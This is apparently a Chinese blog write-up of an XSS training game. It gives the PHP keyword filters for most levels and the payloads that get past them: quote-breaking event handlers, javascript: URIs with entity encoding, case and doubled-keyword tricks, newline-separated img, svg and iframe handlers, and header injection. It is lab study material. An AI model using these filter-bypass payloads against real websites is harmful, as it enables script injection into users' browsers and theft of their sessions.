xss-game

level1

level2

1. </h2><center><script>window.alert()</script><h2 align=center>
2. "> <script>window.alert()</script>
  • 第二个奏效

level3

'> <script>window.alert()</script>
  • 发现
    在这里插入图片描述
  • 源代码用在这里插入图片描述
  • 处理了字符串
  • 看一下htmlspecialchars()函数
  • quotestyle 选项为ENT_QUOTES才会过滤单引号
    ![在这里插入图片描述]( https://img-blog.csdnimg.cn/2020040517033693.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw==,size_16,color_FFFFFF,t_70)
  • 得知不会过滤单引号和双引号

https://www.cnblogs.com/xishaonian/p/7196604.html

倘若是在script、input标签当中,即可突破。
Payload:
' oninput=alert(1) // 当要在input中输入内容时触发事件
' onchange=alert(1)// 发生改变的时候触发该事件

  • 构造payload为keyword=' onclick=window.alert()
  • 点击就会劫持

level4

  • 同上 "改为'

level5

  • 源码中过滤了script和on
  • 也过滤了大小写
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
  • js伪协议绕过

https://www.cnblogs.com/lcyuhe/p/6409379.html
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行

  • payload
"><a href="javascript:alert('xss')">点击过关</a>

level6 大小写绕过

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
  • payload:
keyword="><ScRIpt>window.alert()</SCript> 

level7双写绕过

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
  • payloadkeyword="><sscriptcript>window.alert()</sscriptcript>

level8 实体编码绕过

![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200405173247680.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200405173319621.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw
,size_16,color_FFFFFF,t_70)

  • 上面的用htmlspecialchars(),引号也转为实体编码
  • 下面的有替换
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

payload: java&#x73;cript:alert(1)
s转换为实体编码绕过

level9

  • 与之前相比,多了个对http://的检查
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
  • payload: java&#x73;cript:alert(1)/*http://*/

level 10

![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200405194713195.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw==,size_16,color_FFFFFF,t_70)

  • t_sort隐藏
t_sort=" onclick="alert()" type="text"

level11

level 12

  • 同上,抓包改user-agent

level 13

  • 改cookie

![在这里插入图片描述]( https://img-blog.csdnimg.cn/20200405195822227.png?x-oss-process=image/watermark ,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTU1MTA4Mw==,size_16,color_FFFFFF,t_70)

level 14

level 15

level 16

/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
keyword=<img%0asrc=1%0aonerror=alert(1)>
keyword=<img%0asrc=x%0donError=alert('xss')>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>

level 17 18

?arg01=a&arg02=b%20onmouseout=alert(1)
posted @ 2020-05-02 20:09  10nnn4R  阅读(355)  评论(0)    收藏  举报